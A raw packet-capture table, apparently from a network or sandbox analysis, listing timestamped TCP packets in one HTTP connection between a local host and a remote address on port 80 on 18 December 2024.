Dec 18, 2024 15:56:12.511204004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511210918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511215925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511221886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511228085 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511234045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511245012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511245012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.511270046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.511298895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.511588097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.511658907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.512038946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.512093067 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.512255907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.512330055 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.512898922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.512949944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.513020992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.513077021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.513963938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.513972044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.514022112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.515836000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.515852928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.515863895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.515870094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.515913963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.519087076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519094944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519129038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519134045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519146919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519155025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519166946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519174099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519305944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.519829035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519836903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.519891977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.523844004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.523852110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.523915052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.646578074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.646590948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.646605968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.646612883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.646750927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.647238970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.647247076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.647550106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.647700071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.647706985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.647758961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.671863079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.671874046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.671880007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.672131062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.674390078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674407005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674413919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674420118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674427032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674432993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674447060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674453020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674459934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.674468040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.674491882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.674515009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.677872896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677881002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677897930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677901983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677915096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677922010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677933931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677941084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.677943945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.677983046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.680404902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680421114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680428028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680433989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680439949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680445910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680469036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.680481911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680490017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.680500984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.680533886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.683051109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.683065891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.683075905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.683082104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.683120012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.683121920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.683126926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.683140039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.683140039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.683168888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.683196068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.683829069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.684024096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.684580088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.684587002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.684638023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.684638977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.684643984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.684684038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.686765909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.686774015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.686810017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.686816931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.686839104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.686842918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.686850071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.686853886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.686887026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.687436104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.687531948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.687649012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.687767029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.688247919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.688255072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.688303947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.689333916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.689341068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.689434052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.689774036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.689779997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.689838886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.690473080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.690479040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.690520048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.690541983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.691091061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.691154003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.691287041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.691332102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.692215919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.692224026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.692281008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.692627907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.692635059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.692688942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.693322897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.693428993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.693429947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.693481922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.694150925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.694240093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.694243908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.694339991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.694782019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.694870949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.694884062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.694905996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.695832014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.695838928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.695909023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.697520971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.697527885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.697572947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.697578907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.697586060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.697617054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.698872089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.698888063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.698901892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.698908091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.698945045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.698945045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.700239897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.700248003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.700262070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.700268030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.700305939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.700325966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.700571060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.700598001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.700622082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.700659990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.701304913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.701389074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.701395035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.701440096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.702018023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.702119112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.702120066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.702173948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.702935934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.702944994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.702999115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.706201077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706214905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706222057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706232071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706238985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706249952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706257105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706264019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.706269026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.706307888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.707834959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.707842112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.707901001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.839291096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.839302063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.839327097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.839334011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.839399099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.839436054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.839840889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.839848042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.839900970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.841269016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.841358900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.863744020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.863811970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.863878012 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.863905907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.863972902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.864027023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.864255905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.864262104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.864315033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.864906073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.864983082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.865099907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.865150928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.866910934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.866918087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.866938114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.866944075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.866975069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.866988897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.867027044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.867036104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.867063046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.867084980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.867830992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.867923975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.867923975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.867964983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.868464947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.868473053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.868520021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.869357109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.869363070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.869412899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.871249914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.871257067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.871277094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.871283054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.871293068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.871309042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.871335983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.871357918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.871402025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.873131990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.873136997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.873152018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.873162031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.873198986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.873223066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.873368025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.873411894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.873455048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.873754025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.874079943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.874138117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.874310017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.874376059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.874802113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.874852896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.874908924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.874984026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.875755072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.875761986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.875809908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.876302958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.876310110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.876357079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.877022982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.877221107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.877244949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.877270937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.877827883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.877899885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.877979040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.878026009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.878417969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.878468990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.878591061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.878634930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.879358053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.879364967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.879414082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.880004883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.880124092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.880136013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.880223036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.880721092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.880776882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.880793095 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.880819082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.881337881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.881381035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.881774902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.881860018 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.882231951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.882288933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.882433891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.882484913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.882865906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.882873058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.882921934 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.883836985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.883843899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.883948088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.884257078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.884335041 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.884388924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.884452105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.886339903 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.886408091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.886415958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.886434078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.886446953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.886673927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.886679888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.886693954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.886729002 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.887167931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.887231112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.887280941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.887351990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.888139963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.888220072 CET	49749	80	192.168.2.10	31.41.244.11
